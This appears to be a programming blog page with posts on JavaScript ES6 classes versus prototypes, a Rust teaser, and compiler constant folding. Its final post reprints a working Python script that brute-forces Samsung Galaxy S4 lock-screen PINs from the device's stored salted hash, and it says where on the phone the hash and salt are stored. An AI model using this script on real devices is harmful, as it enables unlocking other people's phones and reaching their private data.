São as classes a nova parte má do JavaScript?

Com a chegada do ES6 muitos dos problemas da única linguagem de programação web do lado do cliente foram corrigidos, muitos deles ainda referentes ao seu nascimento.

Umas das funcionalidades mais pedidas pelos developers era a inclusão de classes (class). Uma vez que os pedidos foram milhares e as discussões em torno deste assunto foram imensas, as ditas classes acabaram por sobreviver até a especificação final da versão 6 do JavaScript. Mas será que realmente resolve problemas ou é apenas uma nova parte má do JavaScript? A verdade é que a keyword class é odiada por um grande numero de pessoas, numero esse igual ou maior aos que apoiam a sua inclusão, uma vez que o JavaScript não contem o conceito de “Class“.

A keyword class é apenas syntax sugar e pode criar confusão na cabeça dos developers. É apenas publicidade falsa!

A parte boa das classes

Muitas pessoas estudaram o paradigma da orientação a objetos, faz parte de qualquer universidade moderna, e nessas aulas de OO foi-lhes ensinado o conceito de classe, polimorfismo, herança e por ai adiante. Em JS já era possível simular o comportamento de uma “Classe” de uma linguagem orientada a objetos, mas era difícil. Até agora a forma de criar “classes”, sub classes e chamar métodos da classe pai era confusa e estranha. Muitos developers de JS apenas querem usar o básico da OO e seguir em frente, mas a syntax “antiga” deixava-os de fora, ninguém quer escrever aquele código feio e parvo.

Sendo assim, a nova keyword class permite que um maior numero de desenvolvedores tenha acesso às funcionalidades citadas anteriormente, mas isto não fez com que a forma “antiga” deixa-se de existir. Assim sendo, existem duas formas diferentes de criar “classes” em JS, uma mais “normal” para os já integrantes do mundo OO e a forma mais hardcore, através do seu prototype.

A nova parte má do JS!

A primeira coisa a perceber é que tudo em JavaScript são objectos, isso quer dizer que objetos são criados mesmo quando não existem classes! A melhor forma de explicar é fazendo uma analogia a seres vivos (neste caso, humanos).

Como pode ser visto na imagem acima, em Java (lado esquerdo) a class Man e Woman estendem uma outra classe, isto quer dizer que estas herdam as propriedades e métodos da sua classe pai (Human). O código abaixo mostra a criação de uma nova instância de Woman:

Woman sofia = new Woman();

Assim sendo, e como as classes em Java funcionam como uma espécie de DNA de um ser vivo, podemos assumir que a classe Woman é também uma instancia de Human e que esta não pode possuir ou assumir outras prioridades ou métodos que não os seus e os herdados do seu pai. Já em JavaScript esta suposição não se verifica.

Em JavaScript (lado direito) o funcionamento é muito semelhante a coisas inanimadas (a objetos da vida real), eles podem ser criados/inventados sem uma classe e vêm como uma espécie de socket plug&play que permite ligar um objeto a qualquer outro. A isto da-se o nome de prototype. Estes objectos podem ganhar/perder propriedades e métodos, assim como serem ligados a outros objetos que não possuem nenhuma relação entre si. É muito flexível em relação as classes propriamente ditas. Assim, podemos criar a Jane que seria o equivalente a criar uma instancia de Woman em Java.

var human = {}

var jane = Object.create(human)

Como pode ser observado, é possível criar um novo objeto praticamente do nada, sem nenhuma estrutura.

Mas qual é o problema afinal?

É claro que as classes são uma mais valia, eu próprio uso-as todos os dias na minha framework, o Stellar. O problema é mesmo “venderem”, digamos, gato por lebre e criar mais uma derivação de paradigma nesta linguagem que é uma verdadeira confusão desde o momento da sua criação.

Em forma de conclusão e resumo deixo uma lista de coisas boas e coisas más da chegadas das classes:

É bom porque:

  • Classes é algo que todos aprendemos e tornar a syntax melhor é uma coisa boa;
  • É uma funcionalidade opcional e existem outras formas de criar objetos;
  • Usar em propósitos bem definidos, não dá problema.

É mau porque:

  • O conceito de “classe” não existe em JavaScript;
  • O conceito de “classes” torna a coisa mais rígida. O uso do prototype faz com que tudo seja mais flexível (podendo também ser uma coisa má, kkk);
  • Cria mais um paradigma dentro da linguagem.

E tu, achas que as classes são uma coisa boa?

Partilhar Carros com os Amigos em Rust

Comecei do zero, tenho vindo a acompanhar a linguagem desde os seus inícios, mas nunca tinha tido contacto com ela. Comecei por fazer algumas experiências até que me envolvi na criação de um emulador para a GameBoy Color, apenas como um desafio e para diversão. Um dos conceitos mais complicado de se perceber são as referências e o borrowing (empréstimo).

Continuar a ler

If the programmer is stupid…

If the programmer is stupid, modern compilers like CLang and GCC can ignore and/or interpret stupid code who you can make and the assembly output will be clean.

In the line below are written a main function with some stupid code.

int main(int argc, char** argv)
{
    int sum = 0;

    for (int i = 0; i < 10; i++)
    {
        sum += i;
    }

    return sum;
}

And the output should be something like this. (this code not contain directives, unused labels and comments that are not comments line)

main: # @main
    movl $45, %eax
    ret

The compiler knows the result will be 45, and the only thing who will appears on assembly is the return with the number 45.

Samsung Hash Crack

This is interesting… This code is a Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2.

This implementation takes 20 seconds to try PINs 0000-9999 on 2.6 GHz i7 🙂

#!/usr/bin/python

'''
Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2
Correct PIN for hash and salt below is 1234.

Get 40-character hash value in ascii hex format from file /data/system/password.key on the phone

Get salt in signed numeric format by doing sqlite3 query SELECT value FROM locksettings WHERE name = 'lockscreen.password_salt' on /data/system/locksettings.db

by @hubert3 2014-01-23
'''

import sys
from hashlib import sha1
from binascii import unhexlify

def get_salt(salt):
        int_salt = int(salt)
        int_salt = (int_salt & 0xffffffffffffffff)
        salt = hex(int(int_salt)).lstrip("0x")
        salt = salt.rstrip('L')
        return salt

samsung_hash = unhexlify('867B4B7F6C7E5CCC50A1BD183D8C3E5801F20344'.lower())
salt = get_salt(-3343618892075477414)

for pin in map('{:04}'.format,range(0,10000)):
	print 'Hashing PIN %s' % pin
 	digest = sha1('0'+pin+salt).digest() # binary digest, not ascii hex
	for i in map(str,range(1,1024)): # Samsung uses 1024 SHA-1 iterations
		digest = sha1(digest+i+pin+salt).digest()
	if digest == samsung_hash:
		print 'FOUND PIN %s' % pin
		sys.exit(0)
print 'PIN not found'